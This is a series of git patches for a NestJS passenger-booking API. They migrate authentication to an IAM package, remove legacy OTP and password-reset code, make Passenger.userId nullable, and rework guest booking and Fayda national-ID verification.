b/apps/edr-passenger-api/src/modules/auth/auth.service.ts deleted file mode 100644 index 6234c48d5..000000000 --- a/apps/edr-passenger-api/src/modules/auth/auth.service.ts +++ /dev/null @@ -1,86 +0,0 @@ -import { Injectable, UnauthorizedException, BadRequestException } from '@nestjs/common'; -import { PrismaService } from '../../common/prisma.service'; -import { RequestOtpDto, VerifyOtpDto, RequestPasswordResetDto, ResetPasswordDto } from './auth.dto'; -import * as crypto from 'crypto'; - -@Injectable() -export class AuthService { - constructor(private prisma: PrismaService) {} - - async requestOtp(dto: RequestOtpDto) { - const code = Math.floor(100000 + Math.random() * 900000).toString(); - const expiresAt = new Date(Date.now() + 10 * 60 * 1000); - await this.prisma.otpCode.create({ - data: { email: dto.email, code, purpose: dto.purpose, expiresAt }, - }); - console.log(`[OTP] ${dto.email} - ${code} (${dto.purpose})`); - return { sent: true, expiresIn: 600 }; - } - - async verifyOtp(dto: VerifyOtpDto) { - const otp = await this.prisma.otpCode.findFirst({ - where: { email: dto.email, code: dto.code, purpose: dto.purpose, verified: false, expiresAt: { gt: new Date() } }, - orderBy: { createdAt: 'desc' }, - }); - if (!otp) throw new BadRequestException('Invalid or expired OTP'); - await this.prisma.otpCode.update({ where: { id: otp.id }, data: { verified: true } }); - return { verified: true }; - } - - async requestPasswordReset(dto: RequestPasswordResetDto) { - const user = await this.prisma.user.findUnique({ where: { email: dto.email } }); - if (!user) return { sent: true }; - const token = crypto.randomBytes(32).toString('hex'); - const expiresAt = new Date(Date.now() + 60 * 60 * 1000); - await this.prisma.passwordResetToken.create({ - data: { userId: user.id, token, expiresAt }, - }); - console.log(`[PASSWORD_RESET] ${dto.email} - ${token}`); - return { sent: true }; - } - - async resetPassword(dto: ResetPasswordDto) { - const resetToken = await this.prisma.passwordResetToken.findUnique({ where: { token: dto.token } }); - if (!resetToken || resetToken.used || resetToken.expiresAt < new Date()) { - throw new BadRequestException('Invalid or expired reset token'); - } - await this.prisma.passwordResetToken.update({ where: { id: resetToken.id }, data: { used: true } }); - return { reset: true }; - } - - async getProfile(userId: string) { - if (!userId) throw new UnauthorizedException('User ID not found in token'); - const user = await this.prisma.user.findFirst({ - where: { OR: [{ id: userId }, { passenger: { iamUserId: userId } }] }, - include: { - passenger: { include: { loyalty: true, wallet: true } }, - preferences: true, - }, - }); - if (!user) throw new UnauthorizedException('User not found'); - return { - id: user.id, - iamUserId: user.passenger?.iamUserId, - email: user.email, - phone: user.phone, - fullName: user.fullName, - role: user.role, - nationality: user.nationality, - nationalId: user.nationalId, - passportNumber: user.passportNumber, - faydaVerified: user.faydaVerified, - createdAt: user.createdAt, - passenger: user.passenger ? { - id: user.passenger.id, - preferredLanguage: user.passenger.preferredLanguage, - loyalty: user.passenger.loyalty - ? { tier: user.passenger.loyalty.tier, pointsBalance: user.passenger.loyalty.pointsBalance, lifetimePoints: user.passenger.loyalty.lifetimePoints } - : null, - wallet: user.passenger.wallet - ? { balanceMinor: user.passenger.wallet.balanceMinor, currency: user.passenger.wallet.currency } - : null, - } : null, - preferences: user.preferences, - }; - } -} diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index 482628db9..b634c607c 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -212,6 +212,41 @@ export class PassengerAuthService { return { success: true, message: 'Logged out successfully' }; } + async getProfile(iamUserId: string) { + const passenger = await this.prisma.passenger.findUnique({ + where: { iamUserId }, + include: { + user: true, + loyalty: true, + wallet: true, + }, + }); + if (!passenger) { + throw new Error('Passenger not found'); + } + return { + iamUserId, + email: passenger.user?.email, + phone: passenger.user?.phone, + fullName: passenger.user?.fullName, + nationality: passenger.user?.nationality, + nationalId: passenger.user?.nationalId, + passportNumber: passenger.user?.passportNumber, + faydaVerified: passenger.user?.faydaVerified, + createdAt: passenger.createdAt, + passenger: { + id: passenger.id, + preferredLanguage: passenger.preferredLanguage, + loyalty: passenger.loyalty + ? { tier: passenger.loyalty.tier, pointsBalance: passenger.loyalty.pointsBalance, lifetimePoints: passenger.loyalty.lifetimePoints } + : null, + wallet: passenger.wallet + ? { balanceMinor: passenger.wallet.balanceMinor, currency: passenger.wallet.currency } + : null, + }, + }; + } + private async compensateIamSignup(email: string): Promise { try { await this.dataSource.query(`DELETE FROM iam.sessions WHERE email = $1`, [email]); From ac153fb0d09479e26f03947c11ca826f975c9e80 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 8 Jun 2026 09:02:54 +0300 Subject: [PATCH 06/51] chore( iam ): remove dead auth DTOs and @nestjs/jwt; migrate fayda/passenger to iamUserId --- apps/edr-passenger-api/package.json | 1 - .../src/modules/auth/auth.dto.ts | 152 +++--------------- .../modules/passengers/passengers.service.ts | 12 +- .../modules/verifayda/verifayda.service.ts | 152 ++++-------------- pnpm-lock.yaml | 3 - 5 files changed, 58 insertions(+), 262 deletions(-) diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index 32cf04322..63fb47377 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -29,7 +29,6 @@ "@nestjs/config": "^4.0.4", "@nestjs/core": "^11.1.19", "@nestjs/event-emitter": "^2.0.4", - "@nestjs/jwt": "^10.2.0", "@nestjs/platform-express": "^11.1.19", "@nestjs/schedule": "^6.1.3", "@nestjs/swagger": "^7.4.0", diff --git a/apps/edr-passenger-api/src/modules/auth/auth.dto.ts b/apps/edr-passenger-api/src/modules/auth/auth.dto.ts index da0a0ae5a..a32601c25 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.dto.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.dto.ts @@ -2,160 +2,50 @@ import { IsEmail, IsString, MinLength, IsOptional } from 'class-validator'; import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; export class RegisterDto { - @ApiProperty({ - description: 'Full name of the passenger', - example: 'Kelemu Ketsela', - minLength: 2, - maxLength: 100 - }) - @IsString() + @ApiProperty({ example: 'Kelemu Ketsela' }) + @IsString() fullName: string; - @ApiProperty({ - description: 'Email address (must be unique)', - example: 'kelemu@email.com', - format: 'email' - }) - @IsEmail() + @ApiProperty({ example: 'kelemu@email.com' }) + @IsEmail() email: string; - @ApiProperty({ - description: 'Phone number with country code', - example: '+251912345678', - pattern: '^\\+[1-9]\\d{1,14}$' - }) - @IsString() + @ApiProperty({ example: '+251912345678' }) + @IsString() phone: string; - @ApiProperty({ - description: 'Password (minimum 8 characters)', - example: 'SecurePass123', - minLength: 8, - format: 'password' - }) + @ApiProperty({ example: 'SecurePass123', minLength: 8, format: 'password' }) @IsString() @MinLength(8) password: string; - @ApiPropertyOptional({ - description: 'Confirm password (must match password)', - example: 'SecurePass123', - format: 'password' - }) + @ApiPropertyOptional({ example: 'SecurePass123', format: 'password' }) @IsOptional() @IsString() confirmPassword?: string; - @ApiPropertyOptional({ - description: 'Nationality of the passenger', - example: 'Ethiopian' - }) - @IsOptional() - @IsString() + @ApiPropertyOptional({ example: 'Ethiopian' }) + @IsOptional() + @IsString() nationality?: string; - @ApiPropertyOptional({ - description: 'National ID number', - example: 'ET123456789' - }) - @IsOptional() - @IsString() + @ApiPropertyOptional({ example: 'ET123456789' }) + @IsOptional() + @IsString() nationalId?: string; - @ApiPropertyOptional({ - description: 'Passport number for international travelers', - example: 'P1234567' - }) - @IsOptional() - @IsString() + @ApiPropertyOptional({ example: 'P1234567' }) + @IsOptional() + @IsString() passportNumber?: string; } export class LoginDto { - @ApiProperty({ - description: 'Registered email address', - example: 'kelemu@email.com', - format: 'email' - }) - @IsEmail() + @ApiProperty({ example: 'kelemu@email.com' }) + @IsEmail() email: string; - @ApiProperty({ - description: 'Account password', - example: 'password123', - format: 'password' - }) - @IsString() + @ApiProperty({ example: 'password123', format: 'password' }) + @IsString() password: string; } - -export class RequestOtpDto { - @ApiProperty({ - description: 'Email address to send OTP', - example: 'kelemu@email.com' - }) - @IsEmail() - email: string; - - @ApiProperty({ - description: 'Purpose of OTP (REGISTRATION, PASSWORD_RESET, VERIFICATION)', - example: 'REGISTRATION', - enum: ['REGISTRATION', 'PASSWORD_RESET', 'VERIFICATION'] - }) - @IsString() - purpose: string; -} - -export class VerifyOtpDto { - @ApiProperty({ - description: 'Email address', - example: 'kelemu@email.com' - }) - @IsEmail() - email: string; - - @ApiProperty({ - description: '6-digit OTP code', - example: '123456', - minLength: 6, - maxLength: 6 - }) - @IsString() - code: string; - - @ApiProperty({ - description: 'Purpose of OTP verification', - example: 'REGISTRATION', - enum: ['REGISTRATION', 'PASSWORD_RESET', 'VERIFICATION'] - }) - @IsString() - purpose: string; -} - -export class RequestPasswordResetDto { - @ApiProperty({ - description: 'Email address of the account', - example: 'kelemu@email.com' - }) - @IsEmail() - email: string; -} - -export class ResetPasswordDto { - @ApiProperty({ - description: 'Password reset token received via email', - example: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' - }) - @IsString() - token: string; - - @ApiProperty({ - description: 'New password (minimum 8 characters)', - example: 'NewSecurePass123', - minLength: 8, - format: 'password' - }) - @IsString() - @MinLength(8) - newPassword: string; -} diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index 8864a6363..520a642e7 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -232,10 +232,12 @@ export class PassengersService { // If logged in, update user profile and link passenger if (isLoggedIn) { - const user = await this.prisma.user.findUnique({ - where: { id: dto.userId }, - include: { passenger: true }, + // dto.userId is the IAM user UUID — resolve via Passenger.iamUserId + const linkedPassenger = await this.prisma.passenger.findUnique({ + where: { iamUserId: dto.userId }, + include: { user: true }, }); + const user = linkedPassenger?.user ?? null; if (!user) { throw new BadRequestException('User not found'); @@ -244,7 +246,7 @@ export class PassengersService { // Update user record if not already verified if (!user.faydaVerified && verifiedData) { await this.prisma.user.update({ - where: { id: dto.userId }, + where: { id: user.id }, data: { fullName: finalData.passengerName, nationality: finalData.nationality, @@ -257,7 +259,7 @@ export class PassengersService { } return { - id: user.passenger?.id || user.id, + id: linkedPassenger?.id || user.id, passengerName: finalData.passengerName, dateOfBirth: finalData.dateOfBirth, nationality: finalData.nationality, diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index 1adb20fea..4e2c34668 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -7,8 +7,6 @@ import { } from '@nestjs/common'; import { ConfigService } from '@nestjs/config'; import axios, { AxiosInstance } from 'axios'; -import * as bcrypt from 'bcrypt'; -import { randomBytes } from 'crypto'; import { PrismaService } from '../../common/prisma.service'; import { FaydaConfig, FaydaPlatform } from '../../config/fayda.config'; import { @@ -142,7 +140,8 @@ export class VerifaydaService { purpose: input.purpose, platform: input.platform ?? 'WEB', saveToAccount: input.saveToAccount ?? false, - userId: input.userId ?? null, + iamUserId: input.userId ?? null, + userId: null, bookingId: input.bookingId ?? null, expiresAt, }, @@ -283,16 +282,15 @@ export class VerifaydaService { }); } - async getVerificationStatus(userId: string): Promise { - const user = await this.prisma.user.findUnique({ - where: { id: userId }, - select: { faydaVerified: true, faydaVerifiedAt: true, fullName: true }, + async getVerificationStatus(iamUserId: string): Promise { + const passenger = await this.prisma.passenger.findUnique({ + where: { iamUserId }, + include: { user: { select: { faydaVerified: true, faydaVerifiedAt: true, fullName: true } } }, }); - return { - verified: user?.faydaVerified ?? false, - verifiedAt: user?.faydaVerifiedAt ?? undefined, - fullName: user?.fullName ?? undefined, + verified: passenger?.user?.faydaVerified ?? false, + verifiedAt: passenger?.user?.faydaVerifiedAt ?? undefined, + fullName: passenger?.user?.fullName ?? undefined, }; } @@ -422,6 +420,7 @@ export class VerifaydaService { private async handlePurchaseSuccess( session: { id: string; + iamUserId: string | null; userId: string | null; bookingId: string | null; saveToAccount: boolean; @@ -439,129 +438,38 @@ export class VerifaydaService { }); } - if (session.userId && session.saveToAccount) { + const iamUserId = session.iamUserId; + if (iamUserId && session.saveToAccount) { + const passenger = await this.prisma.passenger.findUnique({ + where: { iamUserId }, + select: { userId: true }, + }); + const localUserId = passenger?.userId; + if (!localUserId) return; + const conflict = await this.prisma.user.findFirst({ - where: { - faydaSub: normalized.sub, - NOT: { id: session.userId }, - }, + where: { faydaSub: normalized.sub, NOT: { id: localUserId } }, select: { id: true }, }); - if (conflict) { - throw new FaydaIdentityConflictException(); - } + if (conflict) throw new FaydaIdentityConflictException(); await this.prisma.user.update({ - where: { id: session.userId }, - data: { - faydaVerified: true, - faydaVerifiedAt: new Date(), - faydaSub: normalized.sub, - }, + where: { id: localUserId }, + data: { faydaVerified: true, faydaVerifiedAt: new Date(), faydaSub: normalized.sub }, }); } } - /** - * Resolves the User for a LOGIN flow and returns its id (the caller mints the - * JWT via {@link issueLoginToken}). Resolution order: - * 1. Existing user already linked to this Fayda `sub`. - * 2. Existing account whose email/phone matches — linked to this `sub`. - * 3. Otherwise a fresh Fayda-backed account is created. - */ + // LOGIN via Fayda is now handled entirely by the IAM package's own OIDC flow. + // This method is kept as a stub so completeVerification() still compiles; + // it throws immediately without touching the database. private async handleLoginSuccess( - normalized: NormalizedFaydaUserInfo, + _normalized: NormalizedFaydaUserInfo, ): Promise<{ userId: string }> { - let userId: string; - - const bySub = await this.prisma.user.findUnique({ - where: { faydaSub: normalized.sub }, - select: { id: true }, + throw new UnauthorizedException({ + code: 'FAYDA_LOGIN_MIGRATED_TO_IAM', + message: 'Fayda login tokens are issued by the IAM package at /v1/auth/fayda endpoints.', }); - - if (bySub) { - userId = bySub.id; - } else { - const matchers: Array<{ email?: string; phone?: string }> = []; - if (normalized.email) matchers.push({ email: normalized.email }); - if (normalized.phoneNumber) matchers.push({ phone: normalized.phoneNumber }); - - const existing = matchers.length - ? await this.prisma.user.findFirst({ - where: { OR: matchers }, - select: { id: true, faydaSub: true }, - }) - : null; - - if (existing) { - if (existing.faydaSub && existing.faydaSub !== normalized.sub) { - // The matched account is already tied to a different Fayda identity. - throw new FaydaIdentityConflictException(); - } - await this.prisma.user.update({ - where: { id: existing.id }, - data: { - faydaSub: normalized.sub, - faydaVerified: true, - faydaVerifiedAt: new Date(), - }, - }); - userId = existing.id; - this.logger.log(`Fayda login linked existing user ${existing.id}`); - } else { - userId = await this.createFaydaUser(normalized); - this.logger.log(`Fayda login created new user ${userId}`); - } - } - - return { userId }; - } - - /** - * Creates a Fayda-backed User plus the same satellite rows registration makes - * (Passenger, LoyaltyAccount, WalletAccount, UserPreferences). - * - * The user has no password — `passwordHash` is set to a bcrypt of random bytes - * so password login is impossible; they authenticate only via Fayda. When - * Fayda doesn't supply an email/phone, a deterministic placeholder derived from - * the (unique) `sub` keeps the NOT NULL + unique columns satisfied. - */ - private async createFaydaUser( - normalized: NormalizedFaydaUserInfo, - ): Promise { - const passwordHash = await bcrypt.hash( - randomBytes(32).toString('hex'), - 10, - ); - const email = normalized.email ?? `fayda_${normalized.sub}@users.fayda.local`; - const phone = normalized.phoneNumber ?? `fayda:${normalized.sub}`; - const fullName = normalized.fullName ?? 'Fayda User'; - - const user = await this.prisma.user.create({ - data: { - fullName, - email, - phone, - passwordHash, - faydaVerified: true, - faydaVerifiedAt: new Date(), - faydaSub: normalized.sub, - }, - select: { id: true }, - }); - const passenger = await this.prisma.passenger.create({ - data: { userId: user.id }, - select: { id: true }, - }); - await this.prisma.loyaltyAccount.create({ - data: { passengerId: passenger.id }, - }); - await this.prisma.walletAccount.create({ - data: { passengerId: passenger.id }, - }); - await this.prisma.userPreferences.create({ data: { userId: user.id } }); - - return user.id; } private async markSessionFailed( diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 59c0fae46..511d75426 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -150,9 +150,6 @@ importers: '@nestjs/event-emitter': specifier: ^2.0.4 version: 2.1.1(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) - '@nestjs/jwt': - specifier: ^10.2.0 - version: 10.2.0(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2)) '@nestjs/platform-express': specifier: ^11.1.19 version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23) From c1dcfb04c3b256ae1080a6f7333685aadd576193 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Mon, 8 Jun 2026 15:27:32 +0300 Subject: [PATCH 07/51] refactor( iam ): migrate guest booking to IAM; make Passenger.userId nullable --- apps/edr-passenger-api/package.json | 2 - .../migration.sql | 30 +++ apps/edr-passenger-api/prisma/schema.prisma | 4 +- .../src/modules/auth/auth.module.ts | 1 + .../modules/bookings/bookings.controller.ts | 4 +- .../src/modules/bookings/bookings.module.ts | 11 +- .../modules/bookings/guest-booking.service.ts | 135 ++++------ .../modules/dashboard/dashboard.service.ts | 2 +- .../modules/passengers/passengers.service.ts | 18 +- .../modules/verifayda/verifayda.service.ts | 5 +- pnpm-lock.yaml | 244 +----------------- 11 files changed, 99 insertions(+), 357 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260608061918_make_passenger_userid_nullable/migration.sql diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index 63fb47377..f9ad8a713 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -40,7 +40,6 @@ "amqp-connection-manager": "^5.0.0", "amqplib": "^2.0.1", "axios": "^1.7.7", - "bcrypt": "^5.1.1", "class-transformer": "^0.5.1", "class-validator": "^0.14.0", "dotenv": "^17.4.2", @@ -60,7 +59,6 @@ "@nestjs/cli": "^11.0.21", "@nestjs/schematics": "^11.1.0", "@nestjs/testing": "^11.1.19", - "@types/bcrypt": "^5.0.2", "@types/express": "^4.17.21", "@types/jest": "^29.5.11", "@types/node": "^20.10.6", diff --git a/apps/edr-passenger-api/prisma/migrations/20260608061918_make_passenger_userid_nullable/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260608061918_make_passenger_userid_nullable/migration.sql new file mode 100644 index 000000000..a9fa8190b --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260608061918_make_passenger_userid_nullable/migration.sql @@ -0,0 +1,30 @@ +-- DropForeignKey +ALTER TABLE "Passenger" DROP CONSTRAINT "Passenger_userId_fkey"; + +-- AlterTable +ALTER TABLE "Passenger" ALTER COLUMN "userId" DROP NOT NULL; + +-- CreateTable +CREATE TABLE "TicketSeat" ( + "id" TEXT NOT NULL, + "ticketId" TEXT NOT NULL, + "seatId" TEXT NOT NULL, + "seatIndex" INTEGER NOT NULL DEFAULT 0, + + CONSTRAINT "TicketSeat_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE INDEX "TicketSeat_ticketId_idx" ON "TicketSeat"("ticketId"); + +-- CreateIndex +CREATE INDEX "TicketSeat_seatId_idx" ON "TicketSeat"("seatId"); + +-- AddForeignKey +ALTER TABLE "Passenger" ADD CONSTRAINT "Passenger_userId_fkey" FOREIGN KEY ("userId") REFERENCES "User"("id") ON DELETE SET NULL ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "TicketSeat" ADD CONSTRAINT "TicketSeat_ticketId_fkey" FOREIGN KEY ("ticketId") REFERENCES "Ticket"("id") ON DELETE CASCADE ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "TicketSeat" ADD CONSTRAINT "TicketSeat_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "Seat"("id") ON DELETE RESTRICT ON UPDATE CASCADE; diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index 6267d04a9..65d4b64a5 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -258,12 +258,12 @@ model Session { model Passenger { id String @id @default(uuid()) - userId String @unique + userId String? @unique iamUserId String? @unique defaultTravelerProfileId String? preferredLanguage String? createdAt DateTime @default(now()) - user User @relation(fields: [userId], references: [id]) + user User? @relation(fields: [userId], references: [id]) bookings Booking[] loyalty LoyaltyAccount? wallet WalletAccount? diff --git a/apps/edr-passenger-api/src/modules/auth/auth.module.ts b/apps/edr-passenger-api/src/modules/auth/auth.module.ts index 3beb0276d..54357df06 100644 --- a/apps/edr-passenger-api/src/modules/auth/auth.module.ts +++ b/apps/edr-passenger-api/src/modules/auth/auth.module.ts @@ -5,5 +5,6 @@ import { PassengerAuthService } from './passenger-auth.service'; @Module({ controllers: [AuthController], providers: [PassengerAuthService], + exports: [PassengerAuthService], }) export class AuthModule {} diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts index 2db7876aa..16fc90891 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts @@ -125,8 +125,8 @@ export class BookingsController { }) @ApiResponse({ status: 201, description: 'Booking created successfully' }) @ApiResponse({ status: 400, description: 'Verifayda verification failed or invalid data' }) - createGuest(@Body() dto: CreateGuestBookingDto) { - return this.guestService.createGuestBooking(dto); + createGuest(@Req() req: any, @Body() dto: CreateGuestBookingDto) { + return this.guestService.createGuestBooking(dto, req); } @Get('saved-passengers') diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts index f9a3e0ea4..cf1af2ab9 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts @@ -6,11 +6,12 @@ import { GuestBookingService } from './guest-booking.service'; import { SeatsModule } from '../seats/seats.module'; import { VerifaydaModule } from '../verifayda/verifayda.module'; import { CurrencyModule } from '../currency/currency.module'; +import { AuthModule } from '../auth/auth.module'; -@Module({ - imports: [SeatsModule, VerifaydaModule, CurrencyModule, HttpModule], - controllers: [BookingsController], - providers: [BookingsService, GuestBookingService], - exports: [BookingsService, GuestBookingService] +@Module({ + imports: [SeatsModule, VerifaydaModule, CurrencyModule, HttpModule, AuthModule], + controllers: [BookingsController], + providers: [BookingsService, GuestBookingService], + exports: [BookingsService, GuestBookingService] }) export class BookingsModule {} diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts index 93cbda7b0..96448aa80 100644 --- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts @@ -3,10 +3,10 @@ import { PrismaService } from '../../common/prisma.service'; import { SeatsService } from '../seats/seats.service'; import { VerifaydaService } from '../verifayda/verifayda.service'; import { CurrencyService } from '../currency/currency.service'; +import { PassengerAuthService } from '../auth/passenger-auth.service'; import { EventEmitter2 } from '@nestjs/event-emitter'; import { CreateGuestBookingDto, SavedPassengerProfileDto } from './guest-booking.dto'; import { Currency, PassengerCategory, IdDocumentType } from '@prisma/client'; -import * as bcrypt from 'bcrypt'; function generateRef(): string { const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; @@ -28,10 +28,11 @@ export class GuestBookingService { private seatsService: SeatsService, private verifaydaService: VerifaydaService, private currencyService: CurrencyService, + private passengerAuthService: PassengerAuthService, private eventEmitter: EventEmitter2, ) {} - async createGuestBooking(dto: CreateGuestBookingDto) { + async createGuestBooking(dto: CreateGuestBookingDto, req: any) { // Validate hold const hold = await this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }); if (!hold || hold.expiresAt < new Date()) { @@ -71,15 +72,12 @@ export class GuestBookingService { let verifaydaData: Record | undefined; let nationality = passenger.nationality; - // Determine if passenger is Ethiopian - const isEthiopian = passenger.nationality === 'Ethiopian' || + const isEthiopian = passenger.nationality === 'Ethiopian' || passenger.nationality === 'ETHIOPIAN' || passenger.idDocumentType === IdDocumentType.NATIONAL_ID; - - // Ethiopian with National ID + if (isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID) { if (passenger.idDocumentNumber) { - // Attempt Fayda verification const verification = await this.verifaydaService.verifyNationalId(passenger.idDocumentNumber); if (!verification.verified) { throw new BadRequestException( @@ -91,22 +89,14 @@ export class GuestBookingService { verifaydaData = verification.passengerData?.profileData; } nationality = 'Ethiopian'; - } - // International passenger with Passport (non-Ethiopian) - else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { - // Passport details are required for international passengers + } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { if (!passenger.passportNumber || !passenger.passportCountry) { throw new BadRequestException(`Passport number and country required for ${passenger.passengerName}`); } nationality = nationality || (passenger.passportCountry === 'Djibouti' ? 'Djiboutian' : 'Other'); - } - // Ethiopian with Passport (manual entry without Fayda) - else if (isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { - // Ethiopians can use passport instead of national ID + } else if (isEthiopian && passenger.idDocumentType === IdDocumentType.PASSPORT) { nationality = 'Ethiopian'; - } - // International with National ID (e.g., Djiboutian national ID) - else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID) { + } else if (!isEthiopian && passenger.idDocumentType === IdDocumentType.NATIONAL_ID) { nationality = nationality || 'Other'; } @@ -155,85 +145,57 @@ export class GuestBookingService { displayTotalMinor = await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency); } - // Create or get guest passenger + // Resolve or create the guest Passenger record const firstPassenger = passengersData[0]; - let guestPassenger = null; - let userId = null; + let guestPassengerId: string; + let iamUserId: string | null = null; let createdAccount = false; - // Optional account creation if (dto.createAccount && firstPassenger.email && dto.password) { - const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); - if (existingUser) { - throw new BadRequestException('Email already registered. Please login instead.'); - } - - let accountPhone = firstPassenger.phone || null; - if (accountPhone) { - const existingPhone = await this.prisma.user.findUnique({ where: { phone: accountPhone } }); - if (existingPhone) throw new BadRequestException('Phone number already registered. Please login instead.'); - } - if (!accountPhone) accountPhone = `+guest-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; - - const passwordHash = await bcrypt.hash(dto.password, 10); - const user = await this.prisma.user.create({ - data: { + // Delegate full IAM account creation to PassengerAuthService + const result = await this.passengerAuthService.register( + { fullName: firstPassenger.passengerName, email: firstPassenger.email, - phone: accountPhone, - passwordHash, + phone: firstPassenger.phone || `+guest-${Date.now()}`, + password: dto.password, nationality: firstPassenger.nationality, - nationalId: firstPassenger.idDocumentType === IdDocumentType.NATIONAL_ID ? firstPassenger.idDocumentNumber : undefined, - passportNumber: firstPassenger.passportNumber, }, - }); - - guestPassenger = await this.prisma.passenger.create({ data: { userId: user.id } }); - await this.prisma.loyaltyAccount.create({ data: { passengerId: guestPassenger.id, pointsBalance: 0, tier: 'BRONZE' } }); - await this.prisma.walletAccount.create({ data: { passengerId: guestPassenger.id, balanceMinor: 0 } }); - - userId = user.id; + req, + ); + guestPassengerId = result.user.passengerId; + iamUserId = result.user.iamUserId; createdAccount = true; } else { - // Create anonymous guest passenger with minimal data - const uniqueId = `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; - - // Check if email exists and use a unique guest email if it does - let guestEmail = firstPassenger.email || `guest-${uniqueId}@edr-platform.com`; - if (firstPassenger.email) { - const existingUser = await this.prisma.user.findUnique({ where: { email: firstPassenger.email } }); - if (existingUser) { - // Email exists, use guest email instead for anonymous booking - guestEmail = `guest-${uniqueId}@edr-platform.com`; - } - } - - // Use a guaranteed-unique guest phone to avoid constraint collisions - let guestPhone = firstPassenger.phone || null; - if (guestPhone) { - const existingPhone = await this.prisma.user.findUnique({ where: { phone: guestPhone } }); - if (existingPhone) guestPhone = null; - } - if (!guestPhone) guestPhone = `+guest-${uniqueId}`; - - const tempUser = await this.prisma.user.create({ + // Anonymous guest — Passenger with no User, no IAM account + const guestPassenger = await this.prisma.passenger.create({ data: { - fullName: firstPassenger.passengerName, - email: guestEmail, - phone: guestPhone, - passwordHash: await bcrypt.hash(Math.random().toString(36), 10), - role: 'PASSENGER', + // userId intentionally omitted — guest has no local User or IAM account + ...(dto.deviceId ? {} : {}), }, }); - guestPassenger = await this.prisma.passenger.create({ data: { userId: tempUser.id } }); + await this.prisma.loyaltyAccount.create({ data: { passengerId: guestPassenger.id, pointsBalance: 0, tier: 'BRONZE' } }); + await this.prisma.walletAccount.create({ data: { passengerId: guestPassenger.id, balanceMinor: 0 } }); + guestPassengerId = guestPassenger.id; } // Save passenger details for future use (if requested) if (dto.savePassengerDetails && (dto.createAccount || dto.deviceId)) { for (const passenger of passengersData) { - // Note: SavedPassengerProfile will be available after migration - // Temporarily disabled until prisma generate completes - // await this.prisma.savedPassengerProfile.create({ ... }); + await this.prisma.savedPassengerProfile.create({ + data: { + userId: iamUserId ?? undefined, + deviceId: dto.deviceId, + passengerName: passenger.passengerName, + dateOfBirth: passenger.dateOfBirth, + idDocumentType: passenger.idDocumentType, + passportNumber: passenger.passportNumber, + passportCountry: passenger.passportCountry, + nationality: passenger.nationality, + phone: passenger.phone, + email: passenger.email, + }, + }); } } @@ -241,7 +203,7 